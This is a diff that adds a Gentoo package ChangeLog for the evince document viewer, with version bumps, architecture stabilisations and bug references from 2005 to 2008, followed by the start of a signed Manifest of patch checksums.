+*evince-2.22.1.1 (08 Apr 2008)
+
+  08 Apr 2008; Rémi Cardona <remi@gentoo.org> +evince-2.22.1.1.ebuild:
+  Bump to 2.22.1.1, bugfix release, contains our dbus patch
+
+  02 Apr 2008; Daniel Gryniewicz <dang@gentoo.org>
+  -files/evince-2.22.0-gtk-doc-die-die-die.patch, evince-2.22.0.ebuild:
+  Remove gtk-doc hack in favor of gtk-doc-am dep
+
+*evince-2.22.0 (27 Mar 2008)
+
+  27 Mar 2008; Gilles Dartiguelongue <eva@gentoo.org>
+  +files/evince-2.22.0-gtk-doc-die-die-die.patch, +evince-2.22.0.ebuild:
+  New version for GNOME 2.22. Uses GIO, lots of bug and crash fixes. Uses
+  libspectre in place of ghostscript. gnome-keyring is now optional.
+
+  04 Feb 2008; Jeroen Roovers <jer@gentoo.org> evince-2.20.2.ebuild:
+  Stable for HPPA (bug #208366).
+
+  03 Feb 2008; Raúl Porcel <armin76@gentoo.org> evince-2.20.2.ebuild:
+  alpha/ia64/sparc stable wrt #208366
+
+  02 Feb 2008; Chris Gianelloni <wolf31o2@gentoo.org> evince-2.20.2.ebuild:
+  Stable on amd64 wrt bug #208366.
+
+  01 Feb 2008; Mart Raudsepp <leio@gentoo.org>
+  -files/evince-0.5.3-links.patch, -files/evince-0.6.1-freebsd.patch,
+  -files/evince-0.6.1-gv-limit.patch, -evince-0.5.3-r1.ebuild,
+  -evince-0.6.1-r3.ebuild:
+  Remove Gnome 2.16 and older versions
+
+  01 Feb 2008; Brent Baude <ranger@gentoo.org> evince-2.20.2.ebuild:
+  Marking evince-2.20.2 ppc64 and ppc stable for bug 208366
+
+  01 Feb 2008; Christian Faulhammer <opfer@gentoo.org> evince-2.20.2.ebuild:
+  stable x86, bug 208366
+
+*evince-2.20.2 (06 Dec 2007)
+
+  06 Dec 2007; Gilles Dartiguelongue <eva@gentoo.org> +evince-2.20.2.ebuild:
+  bump to 2.20.2
+
+  14 Nov 2007; Tobias Scherbaum <dertobi123@gentoo.org>
+  evince-2.20.1.ebuild:
+  ppc stable, bug #196735
+
+  12 Nov 2007; Jeroen Roovers <jer@gentoo.org> evince-2.20.1.ebuild:
+  Stable for HPPA (bug #196735).
+
+  11 Nov 2007; Raúl Porcel <armin76@gentoo.org> evince-2.20.1.ebuild:
+  alpha/ia64 stable wrt security #196735
+
+  10 Nov 2007; Daniel Gryniewicz <dang@gentoo.org> evince-2.20.1.ebuild:
+  Marked stable on amd64 for bug #196735
+
+  10 Nov 2007; Ferris McCormick <fmccor@gentoo.org> evince-2.20.1.ebuild:
+  Sparc stable --- Yet more for security Bug #196735
+
+  10 Nov 2007; Christian Faulhammer <opfer@gentoo.org> evince-2.20.1.ebuild:
+  stable x86, security bug 196735
+
+  10 Nov 2007; Markus Rothe <corsair@gentoo.org> evince-2.20.1.ebuild:
+  Stable on ppc64; bug #196735
+
+  17 Oct 2007; Gilles Dartiguelongue <eva@gentoo.org>
+  evince-0.5.3-r1.ebuild, evince-0.6.1-r3.ebuild, evince-0.8.3.ebuild,
+  evince-2.20.0.ebuild:
+  fix some QA warnings
+
+*evince-2.20.1 (17 Oct 2007)
+
+  17 Oct 2007; Gilles Dartiguelongue <eva@gentoo.org> +evince-2.20.1.ebuild:
+  bump to 2.20.1, changed back WANT_AUTOMAKE to 1.9 because it fails otherwise
+
+  25 Sep 2007; Daniel Gryniewicz <dang@gentoo.org> ChangeLog:
+  Remove dev version; prep for unmask
+
+  23 Sep 2007; Tom Gall <tgall@gentoo.org>
+  evince-0.8.3.ebuild:
+  stable on ppc64
+
+*evince-2.20.0 (19 Sep 2007)
+
+  19 Sep 2007; Daniel Gryniewicz <dang@gentoo.org> -evince-2.19.92.ebuild,
+  +evince-2.20.0.ebuild:
+  Bump to 2.20.0
+  
+  * Forms support broken by forgotten ifdef fix (Carlos Garcia Campos)
+  
+  * Issue with making a copy and xfer to different file system (Carlos Garcia
+  Campos)
+  
+  * Desktop file fixes (Götz Waschk)
+
+*evince-2.19.92 (04 Sep 2007)
+
+  04 Sep 2007; Daniel Gryniewicz <dang@gentoo.org> +evince-2.19.92.ebuild:
+  New evince to go with new poppler
+
+  28 Aug 2007; Jeroen Roovers <jer@gentoo.org> evince-0.8.3.ebuild:
+  Stable for HPPA (bug #185823).
+
+*evince-0.9.3 (23 Aug 2007)
+
+  23 Aug 2007; Daniel Gryniewicz <dang@gentoo.org> +evince-0.9.3.ebuild:
+  Pre-release version of evince to go with the pre-release version of poppler
+
+  11 Aug 2007; Andrej Kacian <ticho@gentoo.org> evince-0.8.3.ebuild:
+  Stable on x86, bug #185823.
+
+  10 Aug 2007; Daniel Gryniewicz <dang@gentoo.org> evince-0.8.3.ebuild:
+  Restrict tests; they need dogtail (whatever that is).  Bug #188177
+
+  10 Aug 2007; Christoph Mende <angelos@gentoo.org> evince-0.8.3.ebuild:
+  Stable on amd64 wrt bug #185823
+
+  08 Aug 2007; Raúl Porcel <armin76@gentoo.org> evince-0.8.3.ebuild:
+  alpha/ia64 stable wrt #185823
+
+  07 Aug 2007; Tobias Scherbaum <dertobi123@gentoo.org> evince-0.8.3.ebuild:
+  Stable on ppc wrt bug #185823.
+
+  07 Aug 2007; Gustavo Zacarias <gustavoz@gentoo.org> evince-0.8.3.ebuild:
+  Stable on sparc wrt #185823
+
+  02 Aug 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  evince-0.5.3-r1.ebuild, evince-0.6.1-r3.ebuild:
+  correct dbus deps (bug #187369)
+
+*evince-0.8.3 (19 Jul 2007)
+
+  19 Jul 2007; Gilles Dartiguelongue <eva@gentoo.org> -evince-0.6.0.ebuild,
+  -evince-0.6.1.ebuild, -evince-0.6.1-r1.ebuild, -evince-0.6.1-r2.ebuild,
+  -evince-0.8.0.ebuild, -evince-0.8.1.ebuild, +evince-0.8.3.ebuild:
+  cleaning up old versions
+  bump to 0.8.3
+  * fix compilation against poppler 0.5.4
+  * freebsd patch is upstream
+
+  08 Jul 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  evince-0.5.3-r1.ebuild, evince-0.6.0.ebuild, evince-0.6.1.ebuild,
+  evince-0.6.1-r1.ebuild, evince-0.6.1-r2.ebuild, evince-0.6.1-r3.ebuild,
+  evince-0.8.0.ebuild, evince-0.8.1.ebuild:
+  remove reference to old, removed dbus (bug #183696)
+
+  16 May 2007; Roy Marples <uberlord@gentoo.org> evince-0.6.1-r3.ebuild,
+  evince-0.8.1.ebuild:
+  Keyworded ~x86-fbsd, ##178471 thanks to Joe Peterson.
+
+  15 May 2007; Daniel Gryniewicz <dang@gentoo.org>
+  +files/evince-0.6.1-freebsd.patch, +files/evince-0.8.1-freebsd.patch,
+  evince-0.6.1-r3.ebuild, evince-0.8.1.ebuild:
+  Freebsd fixes; bug #178471
+
+*evince-0.8.1 (21 Apr 2007)
+
+  21 Apr 2007; Remi Cardona <remi@gentoo.org> +evince-0.8.1.ebuild:
+  bump to 0.8.1
+
+  16 Apr 2007; Daniel Gryniewicz <dang@gentoo.org> evince-0.6.1-r3.ebuild:
+  add libxml2 dep; bug #172732
+
+  29 Mar 2007; Markus Rothe <corsair@gentoo.org> evince-0.6.1-r3.ebuild:
+  Stable on ppc64; bug #156573
+
+*evince-0.8.0 (27 Mar 2007)
+
+  27 Mar 2007; Daniel Gryniewicz <dang@gentoo.org>
+  +files/evince-0.7.1-display-menu.patch, +evince-0.8.0.ebuild:
+  gnome 2.18.0
+
+  27 Mar 2007; Tobias Scherbaum <dertobi123@gentoo.org>
+  evince-0.6.1-r3.ebuild:
+  ppc stable, bug #156573
+
+  27 Mar 2007; Chris Gianelloni <wolf31o2@gentoo.org>
+  evince-0.6.1-r3.ebuild:
+  Stable on alpha/amd64/ia64 wrt bug #156573.
+
+  27 Mar 2007; Jeroen Roovers <jer@gentoo.org> evince-0.6.1-r3.ebuild:
+  Stable for HPPA (bug #156573).
+
+  27 Mar 2007; Gustavo Zacarias <gustavoz@gentoo.org>
+  evince-0.6.1-r3.ebuild:
+  Stable on sparc wrt security #156573
+
+  27 Mar 2007; Christian Faulhammer <opfer@gentoo.org>
+  evince-0.6.1-r3.ebuild:
+  stable x86, security bug 156573
+
+*evince-0.6.1-r3 (26 Mar 2007)
+
+  26 Mar 2007; Daniel Gryniewicz <dang@gentoo.org>
+  +files/evince-0.6.1-gv-limit.patch, +evince-0.6.1-r3.ebuild:
+  Bump to 0.6.1-r3
+  	Add patch for bug #156573
+
+  24 Mar 2007; Chris Gianelloni <wolf31o2@gentoo.org>
+  evince-0.6.1-r2.ebuild:
+  Stable on alpha/ia64 wrt bug #171545.
+
+  24 Mar 2007; Markus Rothe <corsair@gentoo.org> evince-0.6.1-r2.ebuild:
+  Stable on ppc64; bug #171545
+
+  22 Mar 2007; Steve Dibb <beandog@gentoo.org> evince-0.6.1-r2.ebuild:
+  amd64 stable, bug 171545
+
+  21 Mar 2007; Christian Faulhammer <opfer@gentoo.org>
+  evince-0.6.1-r2.ebuild:
+  stable x86, bug 171545
+
+  21 Mar 2007; Jeroen Roovers <jer@gentoo.org> evince-0.6.1-r2.ebuild:
+  Stable for HPPA (bug #171545).
+
+  20 Mar 2007; Tobias Scherbaum <dertobi123@gentoo.org>
+  evince-0.6.1-r2.ebuild:
+  Stable on ppc wrt bug #171545.
+
+  20 Mar 2007; Ferris McCormick <fmccor@gentoo.org> evince-0.6.1-r2.ebuild:
+  sparc stable --- Bug #171545 --- Has seemed fine for over a month.
+
+*evince-0.6.1-r2 (14 Feb 2007)
+
+  14 Feb 2007; Daniel Gryniewicz <dang@gentoo.org> +evince-0.6.1-r2.ebuild:
+  Make evince use gnomeprint, rather than gtkprint; gtkprint is not ready, and
+  will be re-enabled in 0.7.x. bug #162151
+
+  04 Feb 2007; Markus Rothe <corsair@gentoo.org> evince-0.6.1-r1.ebuild:
+  Stable on ppc64; bug #164978
+
+  03 Feb 2007; Andrej Kacian <ticho@gentoo.org> evince-0.6.1-r1.ebuild:
+  Stable on x86, bug #164978.
+
+  03 Feb 2007; Tobias Scherbaum <dertobi123@gentoo.org>
+  evince-0.6.1-r1.ebuild:
+  Stable on ppc wrt bug #164978.
+
+  03 Feb 2007; Olivier Crête <tester@gentoo.org> evince-0.6.1-r1.ebuild:
+  Stable on amd64 per bug #164978
+
+  01 Feb 2007; Gustavo Zacarias <gustavoz@gentoo.org>
+  evince-0.6.1-r1.ebuild:
+  Stable on sparc
+
+  21 Jan 2007; Bryan Østergaard <kloeri@gentoo.org> evince-0.6.1.ebuild:
+  Stable on IA64, bug 156662.
+
+  18 Jan 2007; Jeroen Roovers <jer@gentoo.org> evince-0.6.1-r1.ebuild:
+  Stable for HPPA (bug #147751).
+
+  14 Jan 2007; Bryan Østergaard <kloeri@gentoo.org> evince-0.6.1.ebuild:
+  Stable on Alpha.
+
+  21 Dec 2006; Markus Rothe <corsair@gentoo.org> evince-0.6.1.ebuild:
+  Stable on ppc64; bug #156662
+
+  18 Dec 2006; Gustavo Zacarias <gustavoz@gentoo.org> evince-0.6.1.ebuild:
+  Stable on sparc
+
+*evince-0.6.1-r1 (17 Dec 2006)
+
+  17 Dec 2006; Daniel Gryniewicz <dang@gentoo.org>
+  +files/evince-0.6.1-dbus-switch.patch, +evince-0.6.1-r1.ebuild:
+  Add actual configure switch for dbus; bug #158034
+
+  17 Dec 2006; Tobias Scherbaum <dertobi123@gentoo.org> evince-0.6.1.ebuild:
+  Stable on ppc wrt bug #156662.
+
+  12 Dec 2006; Chris Gianelloni <wolf31o2@gentoo.org> evince-0.6.1.ebuild:
+  Stable on amd64 wrt bug #156662.
+
+  10 Dec 2006; Andrej Kacian <ticho@gentoo.org> evince-0.6.1.ebuild:
+  Stable on x86, bug #156662.
+
+  09 Nov 2006; Doug Goldstein <cardoe@gentoo.org> evince-0.5.3-r1.ebuild,
+  evince-0.6.0.ebuild, evince-0.6.1.ebuild:
+  Update D-Bus depends to new bindings
+
+  22 Oct 2006; Daniel Gryniewicz <dang@gentoo.org>
+  -files/evince-0.4.0-display-menu.patch, -files/evince-0.4.0-no-tiff.patch,
+  -files/evince-0.4.0-t1lib_is_t1.patch, -evince-0.4.0-r3.ebuild,
+  -evince-0.5.0.ebuild, -evince-0.5.1.ebuild, -evince-0.5.4.ebuild,
+  -evince-0.5.5.ebuild:
+  Cleanup old versions
+
+  21 Oct 2006; Bryan Østergaard <kloeri@gentoo.org> evince-0.6.0.ebuild:
+  Stable on ia64, bug 151835.
+
+  21 Oct 2006; Jeroen Roovers <jer@gentoo.org> evince-0.6.0.ebuild:
+  Stable for HPPA (bug #151835).
+
+  20 Oct 2006; Aron Griffis <agriffis@gentoo.org> evince-0.5.3-r1.ebuild:
+  Mark 0.5.3-r1 stable on alpha
+
+  19 Oct 2006; Bryan Østergaard <kloeri@gentoo.org> evince-0.6.0.ebuild:
+  Stable on Alpha.
+
+  18 Oct 2006; Emanuele Giaquinta <exg@gentoo.org> evince-0.6.0.ebuild:
+  Stable on ppc; bug #151835
+
+  18 Oct 2006; Gustavo Zacarias <gustavoz@gentoo.org> evince-0.6.0.ebuild:
+  Stable on sparc wrt #151835
+
+  18 Oct 2006; Andrej Kacian <ticho@gentoo.org> evince-0.6.0.ebuild:
+  Stable on x86, bug #151835.
+
+  18 Oct 2006; Markus Rothe <corsair@gentoo.org> evince-0.6.0.ebuild:
+  Stable on ppc64; bug #151835
+
+  18 Oct 2006; Daniel Gryniewicz <dang@gentoo.org> evince-0.6.0.ebuild:
+  Marked stable on amd64 for bug #151835
+
+  18 Oct 2006; Daniel Gryniewicz <dang@gentoo.org> +evince-0.6.1.ebuild:
+  New upstream version
+
+*evince-0.6.1 (18 Oct 2006)
+
+  18 Oct 2006; Daniel Gryniewicz <dang@gentoo.org> +evince-0.6.1.ebuild:
+  Bump to 0.6.1
+
+  06 Oct 2006; Daniel Gryniewicz <dang@gentoo.org> evince-0.4.0-r3.ebuild,
+  evince-0.5.0.ebuild, evince-0.5.1.ebuild, evince-0.5.3-r1.ebuild,
+  evince-0.5.4.ebuild, evince-0.5.5.ebuild, evince-0.6.0.ebuild:
+  only 0.4.0 needs automake, so it gets a gnome-common dep. Remove autoreconf
+  from the rest. Bug #150115
+
+  19 Sep 2006; Aron Griffis <agriffis@gentoo.org> evince-0.5.3-r1.ebuild:
+  Mark 0.5.3-r1 stable on ia64. #139612
+
+  05 Sep 2006; Daniel Gryniewicz <dang@gentoo.org> +evince-0.6.0.ebuild:
+  Bump to 0.6.0
+
+*evince-0.6.0 (05 Sep 2006)
+
+  05 Sep 2006; Daniel Gryniewicz <dang@gentoo.org> +evince-0.6.0.ebuild:
+  Bump to 0.6.0
+
+  16 Aug 2006; Markus Rothe <corsair@gentoo.org> evince-0.5.3-r1.ebuild:
+  Stable on ppc64
+
+*evince-0.5.5 (08 Aug 2006)
+
+  08 Aug 2006; Daniel Gryniewicz <dang@gentoo.org> +evince-0.5.5.ebuild:
+  New upstream 0.5.5
+
+  08 Aug 2006; Daniel Gryniewicz <dang@gentoo.org>
+  -files/evince-0.5.2-djvu-miniexp.patch, -evince-0.5.2.ebuild,
+  -evince-0.5.2-r1.ebuild, -evince-0.5.3.ebuild:
+  Clean up unnecessary versions
+
+  27 Jul 2006; Daniel Gryniewicz <dang@gentoo.org> evince-0.5.4.ebuild:
+  evince can now build correctly with ptex; change to use virtual/tetex. Bug
+  #120156
+
+  17 Jul 2006; Jeroen Roovers <jer@gentoo.org> evince-0.5.3-r1.ebuild:
+  Marked stable for HPPA (bug #139612).
+
+  17 Jul 2006; Daniel Gryniewicz <dang@gentoo.org> evince-0.5.3-r1.ebuild:
+  Marked stable on amd64 for bug #139612
+
+  14 Jul 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  evince-0.5.3-r1.ebuild:
+  ppc stable, bug #139612
+
+*evince-0.5.4 (14 Jul 2006)
+
+  14 Jul 2006; Daniel Gryniewicz <dang@gentoo.org> +evince-0.5.4.ebuild:
+  New upstream rev
+
+  12 Jul 2006; Chris Gianelloni <wolf31o2@gentoo.org>
+  evince-0.5.3-r1.ebuild:
+  Stable on x86 wrt bug #139612.
+
+  10 Jul 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  evince-0.5.3-r1.ebuild:
+  Stable on sparc wrt #139612
+
+*evince-0.5.3-r1 (29 Jun 2006)
+
+  29 Jun 2006; Daniel Gryniewicz <dang@gentoo.org>
+  +files/evince-0.5.3-links.patch, +evince-0.5.3-r1.ebuild:
+  Fix for bug# 134201
+
+  08 Jun 2006; Joseph Jezak <josejx@gentoo.org> evince-0.5.1.ebuild:
+  Marked ppc stable.
+
+  29 May 2006; Jason Wever <weeve@gentoo.org> evince-0.5.1.ebuild:
+  Stable on SPARC wrt bug #132349.
+
+  26 May 2006; Markus Rothe <corsair@gentoo.org> evince-0.5.1.ebuild:
+  Stable on ppc64
+
+  26 May 2006; Chris Gianelloni <wolf31o2@gentoo.org> evince-0.5.1.ebuild:
+  Stable on amd64 wrt bug #132349
+
+  25 May 2006; Chris Gianelloni <wolf31o2@gentoo.org> evince-0.5.1.ebuild:
+  Stable on x86 wrt bug #132349.
+
+*evince-0.5.3 (23 May 2006)
+
+  23 May 2006; Daniel Gryniewicz <dang@gentoo.org>
+  +files/evince-0.5.3-display-menu.patch, +evince-0.5.3.ebuild:
+  New version.  0.5.3
+
+  05 May 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  evince-0.5.2-r1.ebuild:
+  Added to ~hppa, bug #125236
+
+*evince-0.5.2-r1 (03 May 2006)
+
+  03 May 2006; Daniel Gryniewicz <dang@gentoo.org>
+  +files/evince-0.5.2-djvu-miniexp.patch, evince-0.5.2.ebuild,
+  +evince-0.5.2-r1.ebuild:
+  Fix for bug #132129. Add -r1, with a patch to work with .17, and make it dep
+  on >= .17. Make -r0 dep on .16
+
+  02 May 2006; Markus Rothe <corsair@gentoo.org> evince-0.5.2.ebuild:
+  Added ~ppc64
+
+*evince-0.5.2 (01 May 2006)
+
+  01 May 2006; Daniel Gryniewicz <dang@gentoo.org> +evince-0.5.2.ebuild:
+  Bump for 2.14.1
+
+  22 Apr 2006; Carsten Lohrke <carlo@gentoo.org> evince-0.4.0-r3.ebuild,
+  evince-0.5.0.ebuild, evince-0.5.1.ebuild:
+  Removed PROVIDE as of bug #130746.
+
+  24 Mar 2006; Aron Griffis <agriffis@gentoo.org> evince-0.5.0.ebuild:
+  Mark 0.5.0 stable on ia64
+
+  10 Mar 2006; <dang@gentoo.org> evince-0.5.1.ebuild:
+  Make it dep on poppler-bindings-0.5.1 per bug #124948
+
+*evince-0.5.1 (03 Mar 2006)
+
+  03 Mar 2006; <dang@gentoo.org> +evince-0.5.1.ebuild:
+  New evince bump.  For gnome-2.14-rc
+
+  21 Feb 2006; Aron Griffis <agriffis@gentoo.org> evince-0.5.0.ebuild:
+  Mark 0.5.0 ~alpha
+
+  18 Feb 2006; Aron Griffis <agriffis@gentoo.org> evince-0.5.0.ebuild:
+  Mark 0.5.0 ~ia64
+
+  07 Feb 2006; Aron Griffis <agriffis@gentoo.org> evince-0.4.0-r3.ebuild:
+  Mark 0.4.0-r3 stable on alpha
+
+  03 Feb 2006; Guy Martin <gmsoft@gentoo.org> evince-0.4.0-r3.ebuild:
+  Stable on hppa.
+
+  27 Jan 2006; <dang@gentoo.org> evince-0.5.0.ebuild:
+  Re-add support for djvu. Bug #101108
+
+  22 Jan 2006; <dang@gentoo.org> evince-0.4.0-r3.ebuild:
+  Marked stable on amd64 per bug #119634
+
+  22 Jan 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  evince-0.4.0-r3.ebuild:
+  Marked ppc stable for bug #119634; Stabilize Gnome-2.12.2
+
+  22 Jan 2006; Joshua Jackson <tsunam@gentoo.org> evince-0.4.0-r3.ebuild:
+  Stable on x86 for bug #119634; Stabilize Gnome-2.12.2
+
+  20 Jan 2006; Gustavo Zacarias <gustavoz@gentoo.org>
+  evince-0.4.0-r3.ebuild:
+  Stable on sparc wrt #119634
+
+*evince-0.5.0 (20 Jan 2006)
+
+  20 Jan 2006; <dang@gentoo.org> -evince-0.4.0-r1.ebuild,
+  -evince-0.4.0-r2.ebuild, +evince-0.5.0.ebuild:
+  New version of evince.  Adds comicbook support, among other thigns
+
+  19 Jan 2006; <dang@gentoo.org> evince-0.4.0-r3.ebuild:
+  Evince deps on ghostscript to process postscript files. Bug #119103
+
+*evince-0.4.0-r3 (03 Jan 2006)
+
+  03 Jan 2006; <dang@gentoo.org> +evince-0.4.0-r3.ebuild:
+  Bump evince to dep on poppler-bindings
+
+  26 Dec 2005; Bryan Østergaard <kloeri@gentoo.org evince-0.4.0-r2.ebuild:
+  ~alpha keyword.
+
+  14 Dec 2005; <dang@gentoo.org> evince-0.4.0-r2.ebuild:
+  Don't need explicit X deps, only uses what gtk+ requires
+
+  04 Nov 2005; <dang@gentoo.org> evince-0.4.0-r2.ebuild:
+  Modular X deps
+
+  21 Oct 2005; Leonardo Boshell <leonardop@gentoo.org> metadata.xml,
+  evince-0.4.0-r2.ebuild:
+  Pass --copy to libtoolize call. Pass --disable-scrollkeeper instead of using
+  gnome2_omf_fix. Move gnome-doc-utils from RDEPEND to DEPEND. Added gconf and
+  libglade dependencies. Set G2CONF in pkg_setup() instead of the global
+  scope. Misc clean-ups. Added gnome herd to metadata.xml.
+
+  17 Oct 2005; <dang@gentoo.org> +files/evince-0.4.0-no-tiff.patch,
+  evince-0.4.0-r2.ebuild:
+  Make tiff actually optional
+
+  17 Oct 2005; John N. Laliberte <allanonjl@gentoo.org>
+  evince-0.4.0-r2.ebuild:
+  fix message when poppler needs gtk. fixes #109571
+
+  14 Oct 2005; <dang@gentoo.org> evince-0.4.0-r2.ebuild:
+  Needs poppler built with gtk. bug #109029
+
+  20 Sep 2005; Gustavo Zacarias <gustavoz@gentoo.org>
+  evince-0.4.0-r2.ebuild:
+  Keyworded ~sparc
+
+  14 Sep 2005; <dang@gentoo.org> -files/evince-0.3.1-64bit.patch,
+  -files/evince-0.3.1-t1lib_is_t1.patch,
+  -files/evince-0.3.2-t1lib_is_t1.patch, -evince-0.3.1.ebuild,
+  -evince-0.3.2.ebuild:
+  Remove old evince versions
+
+*evince-0.4.0-r2 (13 Sep 2005)
+
+  13 Sep 2005; <dang@gentoo.org> +evince-0.4.0-r2.ebuild:
+  Add 'nautilus' use flag that enables the nautilus properties page for
+  filetypes supported by evince
+
+*evince-0.4.0-r1 (13 Sep 2005)
+
+  13 Sep 2005; <dang@gentoo.org> +files/evince-0.4.0-display-menu.patch,
+  +evince-0.4.0-r1.ebuild:
+  Make the menu entry for evince not hidden.  Bug #104917
+
+*evince-0.4.0 (30 Aug 2005)
+
+  30 Aug 2005; <dang@gentoo.org> +files/evince-0.4.0-t1lib_is_t1.patch,
+  +evince-0.4.0.ebuild:
+  Add evince 0.4.0. Two things are missing from this ebuild: the nautilus
+  plugin (was cauing -fPIC errors), and djvu support (still waiting on a
+  revbump for that). Will revbump when those are fixed.
+
+  04 Aug 2005; <dang@gentoo.org> evince-0.3.2.ebuild:
+  Remove djvu support until new version of djvu is released. bug #101108
+
+*evince-0.3.2 (27 Jun 2005)
+
+  27 Jun 2005; <dang@gentoo.org> +files/evince-0.3.2-t1lib_is_t1.patch,
+  +evince-0.3.2.ebuild:
+  revbump to 0.3.2
+
+  22 Jun 2005; <dang@gentoo.org> evince-0.3.1.ebuild:
+  Updated libgnomeui and libgnomeprintui deps
+
+  18 Jun 2005; <dang@gentoo.org> +files/evince-0.3.1-64bit.patch,
+  evince-0.3.1.ebuild:
+  Clean up dependency list, add patch to make dvi work on amd64, add ~amd64
+
+  18 Jun 2005; David Holm <dholm@gentoo.org> evince-0.3.1.ebuild:
+  Added to ~ppc.
+
+  17 Jun 2005; <dang@gentoo.org> evince-0.3.1.ebuild:
+  minimum poppeler is 0.3.2
+
+*evince-0.3.1 (17 Jun 2005)
+
+  17 Jun 2005; <dang@gentoo.org> +files/evince-0.3.1-t1lib_is_t1.patch,
+  +evince-0.3.1.ebuild:
+  Initial version of evince in portage.  Thanks to numerous people in 
+  bug #78956 for the initial ebuild and comments.
+
diff --git a/app-text/evince-light/Manifest b/app-text/evince-light/Manifest
new file mode 100644
index 00000000..5000e9a2
--- /dev/null
+++ b/app-text/evince-light/Manifest
@@ -0,0 +1,40 @@
+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA256
+
+AUX evince-0.7.1-display-menu.patch 476 SHA256 1f450dfe57ef3325cb4642141d76fc8e7bf837c221d81a2593214913af058f4d SHA512 d9330d35674a7796738222a9bd29944491a756c4bf731d1b0e0030fb77b6d9f63f79e6df29dfe89dd1055246dfca827ccbf840f829ed4980e01e9765c24857fe WHIRLPOOL 8ae8da53bfae6124fa3e5ff739f5f398cb3980183d44df8f85ede28f1279f74be29455fe050f7171e63a463797d7be7b84b7158764481d2375b581de5b1d5d1d
+AUX evince-2.32.0-create_thumbnail_frame-null.patch 853 SHA256 3d6472d77e07602cca0e5834a3c132702facbaac1ae684fa86fa72893a7a0833 SHA512 fc132d48e24f70a48bc9a69ea511cbf28dfe4db502285ad04fb9f67f1b1387b3d1cbf0142ff4e8426dcb346bb6ee90b1492d0a1f5feb821687808dbba09d2177 WHIRLPOOL dbcf1b4df02f7995a19d0b7264ef5a5ad399116879dced6762a1a1b1e5439193ef59d8fb3557b4e4e631ff0f1523b8d1544dae9273226fc1a1d2b5804a3a542f
+AUX evince-2.32.0-desktop-categories.patch 709 SHA256 d95489555d5b48b4aba28b41265c2cb152dd5d5163e38df3e3b5dfbfbebcab53 SHA512 cfc5e697ed1cedd0ed160a060d9d4497bc58802a1b73ca7e53411489280a1970691f96a70784715c21c248526facf15f4fc473a1800f70f7f792d98ed7c3fc08 WHIRLPOOL 3694d5d937f970b74ad4a45e53ded2ecc5c5a0c3f21818a7730c8f4fd3f12c001c0556157e151d1da617d64edeb9b72eb8f08fadbad4554be580decff5ddb09e
+AUX evince-2.32.0-dvi-CVEs.patch 3386 SHA256 49d1ed8adc734a005d4d8fdc1912bb115d97f734071d64bcae0aae60f2b5626a SHA512 c2a3787e3bb4c680d2ebb999c93e2f2917bcc85aaa3122676e74ab6fe3367cb732752a8aee089fb870a84eab17b8fcff07a647d9680d64029441d30a694dcd2d WHIRLPOOL a2f9ab4cda23b76684d5fbeff38422d3d41eff12553c7f40d1103b993cceede7f3ffe2ab2faf5f63314b75a7fb32abd1f6b294d36ee06194e0f5bab16164b847
+AUX evince-2.32.0-dvi-security.patch 816 SHA256 86e1e3ae2af8471896594b063726d6e7390169c443864b11797b7e3b937caea8 SHA512 060f542f1489de75d14d8aa4fecfbea77764c45b3f1047113795bdbfe21102e8fc3a55ea69d5de706f1c14ff8d89d439f34865b4ca295dcd9fd637c3a687585e WHIRLPOOL f3dc731b0dde43247969dfacbef2b48a42a94ca17fa899b4d342e4c7645c7ca3ce5046962e6af692c2d42dca9217a97eaaffed60f272c014570c32f6810c8448
+AUX evince-2.32.0-gold.patch 445 SHA256 5bfa37ed69f0754b8b9e9475c4f71e8b0a7b3b32925d72fb2e64f6efd69d693c SHA512 18720a1d0e81487832e7b6713d495094c713c922034c6ceb75caa7b8999ee46edc7fdb08f9fbc7382e4ee4f0384789a9e670c306984b881c234bc243e646899b WHIRLPOOL 9518a3a2f41f7ca62642683d584e92f350c9e1189d7b4e51b1bc1849f2505bd932a70d9f8b0831a92f1f8b890f2a9a70176b0d2d6af90fa2562cf47b828873fb
+AUX evince-2.32.0-libdocument-segfault.patch 1388 SHA256 e9889a7920a8e6bd16b168333d120dfff1a2a2fcfed559d0d2f3678d9d234e74 SHA512 54f63343c6dea0a50eecdc18a9bf277ee573c23ce8a6f9e6ed6ab65480e088db481f212ada61bb32e41755d6a4821702106ba990475d2a639676ff0a94508138 WHIRLPOOL b851ad96e9b26b9c9e70cd82d51476658c688aba9a24cd9bd279046b03ee3601cd72ed4b56867f53a69933c293b36d3ea696aa33e825624e6e04717a6a2da19e
+AUX evince-2.32.0-libview-crash.patch 1351 SHA256 f549f4b8bfa8078764d3fb11c3b8e3d9e9c7bc59ebc7e96ef9d6e63c35d3d35c SHA512 95645dd2016b7085eee3be234f5fa2d0bd98f95a8e4c130dc8086e2d95bcb779e7378696924bb2dc9aafd4cbff8efcc087a6ed176e1a3af60b1f3f66083b8478 WHIRLPOOL 1de448f247bda8319c0b62621a647fe8a02985e42221c354c2abc8f63c3511038168c780ff3fa7ff83eab33d83567f5f95835d6a7d14d0c18034b97814111475
+AUX evince-2.32.0-pk-fonts.patch 1005 SHA256 a8eba65d0a00fae77d85fec202b60762afa82a71695119a66f24a4ab0974fc82 SHA512 36af3365aade4cfbce8852f83589ea3106b7f73d6d11035718ac0fe401d8060e9c307ff90c80463b6d5385caa453adde1a8d2feab78d1171064fc97df4e6924b WHIRLPOOL 33fe99426593663bcd66fe757a45824ecab40c162b3e29f766d5c533f36ec7a6c52694c5cc9d8d97f3ad81a84b9f0dff0c10cf8a7898da07497d2071ddcdd8cc
+AUX evince-2.32.0-stop-spinner.patch 2370 SHA256 140395d3c667d9af422054ed02d2b971c5668e52cafac86b6496ecd47f33ac97 SHA512 ac3e523a9238bb8688070b8d3b680f5bafdca36b650207ee32ea28bb944d609fd78abcaf592d722d9bba77bf39921187ce25b1b1349aa5741ca247408a04c0a5 WHIRLPOOL 077618b301125f87e2f198680b537d2f6125d2ca39f5774d3d6c652816d789acb9e778f3ca058bc4154ae8864d77e1ec029ed0725ae2400c63a96e18d03d1831
